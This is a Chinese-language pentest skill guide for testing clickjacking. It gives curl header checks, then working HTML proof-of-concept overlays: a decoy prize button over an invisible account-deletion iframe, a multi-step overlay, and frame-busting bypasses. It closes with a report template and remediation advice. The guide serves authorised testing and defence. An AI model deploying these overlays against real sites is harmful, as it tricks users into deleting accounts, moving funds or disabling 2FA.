performing-clickjacking-attack-test

执行点击劫持攻击测试

何时使用

• 在经授权的渗透测试中评估 UI 重绘漏洞时
• 测试敏感操作（删除账号、转账、更改设置）是否可通过点击劫持执行时
• 评估 X-Frame-Options 和 Content-Security-Policy frame-ancestors 指令的有效性时
• 评估处理无需额外确认的一键操作的应用时
• 对处理金融交易或账号管理的应用进行安全审计时

前置条件

• 授权：针对目标的书面渗透测试协议
• Web 浏览器：用于测试 iframe 嵌入的现代浏览器
• 本地 Web 服务器：Python http.server 或类似工具，用于托管 PoC 页面
• Burp Suite：用于检查响应头
• HTML/CSS 知识：用于制作点击劫持覆盖页面
• curl：用于检查目标页面上的框架头

法律声明： 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用本技能是非法的，可能违反计算机欺诈相关法律。

工作流

第 1 步：检查框架嵌入防护

检查响应头中的反点击劫持防御措施。

# Check X-Frame-Options header
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# Expected values:
# X-Frame-Options: DENY (blocks all framing)
# X-Frame-Options: SAMEORIGIN (allows same-origin framing)
# X-Frame-Options: ALLOW-FROM https://trusted.com (deprecated, limited support)

# Check Content-Security-Policy frame-ancestors directive
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# Look for: frame-ancestors 'none' or frame-ancestors 'self'
# frame-ancestors 'none' = equivalent to DENY
# frame-ancestors 'self' = equivalent to SAMEORIGIN

# Test multiple sensitive pages
for page in / /account/settings /account/delete /transfer \
  /admin/dashboard /change-password /change-email; do
  echo -n "$page: "
  headers=$(curl -s -I "https://target.example.com$page")
  xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  if [ -z "$xfo" ] && [ -z "$csp" ]; then
    echo "NO PROTECTION"
  else
    echo "${xfo:-none} | ${csp:-none}"
  fi
done

# Check if JavaScript frame-busting is used (weak protection)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"

第 2 步：测试基本 iframe 嵌入

尝试将目标页面嵌入 iframe，以确认漏洞。

<html>
<head><title>Clickjacking Frame Test</title></head>
<body>
<h1>Frame Embedding Test</h1>
<p>If the target page loads below, it is vulnerable to clickjacking.</p>


<iframe src="https://target.example.com/account/settings"
        width="800" height="600"
        style="border: 2px solid red;">
</iframe>

<p>If you see "Refused to display" in console or blank iframe,
   the page has frame protection.</p>
</body>
</html>

# Host the test page
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>Clickjacking Test</h1>
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# Open http://localhost:8888/frame-test.html in browser
# Check browser console for framing errors

第 3 步：制作点击劫持概念验证

构建一个覆盖攻击，诱骗用户点击隐藏元素。

<html>
<head>
<title>Win a Prize!</title>
<style>
  body {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
  }

  /* Invisible iframe containing target page */
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.0001;  /* Nearly invisible */
    z-index: 2;       /* On top of decoy */
    border: none;
  }

  /* Decoy content that tricks the user */
  #decoy {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1;
    background: white;
  }

  /* Position the "Click here" button exactly over the target's
     sensitive button (adjust top/left values based on target layout) */
  #click-bait {
    position: absolute;
    top: 350px;    /* Align with target's "Delete Account" button */
    left: 400px;   /* Align horizontally */
    padding: 15px 30px;
    background: #4CAF50;
    color: white;
    font-size: 18px;
    cursor: pointer;
    border: none;
    border-radius: 5px;
  }
</style>
</head>
<body>


<div id="decoy">
  <h1 style="text-align:center; margin-top:100px;">
    Congratulations! You Won!
  </h1>
  <p style="text-align:center;">
    Click the button below to claim your prize
  </p>
  <button id="click-bait">CLAIM PRIZE</button>
</div>


<iframe id="target-frame"
  src="https://target.example.com/account/delete"
  scrolling="no">
</iframe>

</body>
</html>

第 4 步：创建多步点击劫持攻击

对于需要多次点击的操作，创建多步覆盖。

<html>
<head>
<title>Complete Survey</title>
<style>
  #target-frame {
    position: absolute;
    width: 100%;
    height: 100%;
    opacity: 0.0001;
    z-index: 2;
    border: none;
  }
  #step-container {
    text-align: center;
    margin-top: 200px;
    z-index: 1;
    position: relative;
  }
  .step { display: none; }
  .step.active { display: block; }
  .btn {
    padding: 15px 40px;
    font-size: 18px;
    background: #2196F3;
    color: white;
    border: none;
    cursor: pointer;
    margin-top: 20px;
  }
</style>
</head>
<body>

<div id="step-container">
  
  <div class="step active" id="step1">
    <h2>Step 1: Select your reward</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:200px; left:300px;">
      Gold Package
    </button>
  </div>

  
  <div class="step" id="step2">
    <h2>Step 2: Confirm your choice</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:350px; left:400px;">
      Confirm
    </button>
  </div>

  
  <div class="step" id="step3">
    <h2>Step 3: Claim reward!</h2>
    <button class="btn"
      style="position:absolute; top:400px; left:450px;">
      Claim Now!
    </button>
  </div>
</div>

<iframe id="target-frame"
  src="https://target.example.com/account/settings">
</iframe>

<script>
var currentStep = 1;
function nextStep() {
  document.getElementById('step' + currentStep).classList.remove('active');
  currentStep++;
  document.getElementById('step' + currentStep).classList.add('active');
  // Optionally change iframe src for multi-page flows
}
</script>
</body>
</html>

第 5 步：测试框架突破绕过技术

如果使用了基于 JavaScript 的框架防护，尝试绕过它。

<iframe src="https://target.example.com/account/settings"
  sandbox="allow-scripts allow-forms allow-same-origin"
  width="800" height="600">
</iframe>





<iframe src="intermediate.html" width="800" height="600"></iframe>



<script>
window.onbeforeunload = function() {
  return "Are you sure?";  // Prevents navigation away
};
</script>
<iframe src="https://target.example.com/account/settings"
  width="800" height="600">
</iframe>


<iframe id="f" src="about:blank" width="800" height="600"></iframe>
<script>
var iframe = document.getElementById('f');
iframe.contentDocument.write(
  '<iframe src="https://target.example.com/account/settings" width="100%" height="100%"></iframe>'
);
</script>

第 6 步：验证影响并记录发现

确认点击劫持会导致有意义的影响。

# Host the PoC and test the attack flow
cd /tmp
python3 -m http.server 8888

# Testing steps:
# 1. Log in to target.example.com in the browser
# 2. Open http://localhost:8888/clickjacking-poc.html
# 3. Click the decoy button
# 4. Verify the sensitive action was performed on the target

# For report: adjust iframe opacity to show overlap
# Change opacity from 0.0001 to 0.5 for screenshot evidence
# This shows the target page visible behind the decoy content

# Document which sensitive actions are vulnerable:
# - Account deletion
# - Password/email change
# - Fund transfer
# - Permission/role changes
# - Enabling/disabling security features

关键概念

概念	描述
点击劫持	通过覆盖诱饵内容诱骗用户点击隐藏元素的 UI 重绘攻击
X-Frame-Options	控制页面能否嵌入 iframe 的 HTTP 头（DENY、SAMEORIGIN）
frame-ancestors	CSP 指令，指定 iframe 嵌入的有效父级（取代 X-Frame-Options）
框架突破	基于 JavaScript 的防御，尝试跳出 iframe（容易被绕过）
点赞劫持	针对社交媒体“点赞”或“分享”按钮的点击劫持变体
光标劫持	使用 CSS 使可见光标与实际点击位置偏移的变体
多步点击劫持	需要多次点击的攻击，诱饵内容在每一步发生变化

工具与系统

工具	用途
Burp Suite Professional	检查响应上的 X-Frame-Options 和 CSP 头
Clickjack Tester (browser)	基于浏览器的 iframe 嵌入测试工具
浏览器 DevTools	检查框架嵌入行为和 console 错误
Python http.server	在本地托管点击劫持 PoC 页面
OWASP ZAP	自动检测缺失的反框架头
securityheaders.com	用于检测缺失安全头的在线扫描器

常见场景

场景 1：通过点击劫持删除账号

/account/delete 处的账号删除页面没有 X-Frame-Options 头。攻击者创建一个页面，在透明 iframe 中将“赢取奖品”按钮定位在“删除我的账号”按钮上方。

场景 2：一键转账

银行应用通过单击预填表单上的按钮执行转账。在没有框架防护的情况下，攻击者将转账页面嵌入 iframe，并覆盖一个诱饵“玩游戏”按钮。

场景 3：通过多步点击劫持禁用 2FA

禁用双因素认证需要两次点击（先是设置链接，然后是禁用按钮）。一个多步点击劫持 PoC 会引导受害者完成两次与真实按钮对齐的诱饵点击。

场景 4：OAuth 授权点击劫持

一个 OAuth 同意屏幕允许被嵌入框架。攻击者嵌入该同意页面，并诱骗受害者点击“授权”，从而授予攻击者的应用程序访问受害者账户的权限。

输出格式

## Clickjacking Vulnerability Finding

**Vulnerability**: Clickjacking - Missing Frame Embedding Protection
**Severity**: Medium (CVSS 6.1)
**Location**: /account/settings, /account/delete, /transfer
**OWASP Category**: A04:2021 - Insecure Design

### Headers Analysis
| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |
|------|----------------|--------------------|-|
| / | Not set | Not set | Yes |
| /account/settings | Not set | Not set | Yes |
| /account/delete | Not set | Not set | Yes |
| /transfer | Not set | Not set | Yes |
| /login | SAMEORIGIN | - | No |

### Sensitive Actions Exploitable
1. Account deletion (single click, no re-authentication)
2. Email change (single click, no confirmation)
3. 2FA disable (two clicks, multi-step PoC)
4. Fund transfer (pre-filled form, single click)

### Impact
- Account takeover via email change clickjacking
- Account destruction via delete clickjacking
- Financial loss via transfer clickjacking
- Security downgrade via 2FA disable clickjacking

### Recommendation
1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages
2. Set `X-Frame-Options: DENY` as fallback for older browsers
3. Require re-authentication for sensitive actions (delete, transfer)
4. Add confirmation dialogs that cannot be pre-filled or auto-submitted
5. Implement SameSite=Strict cookies to reduce session availability in frames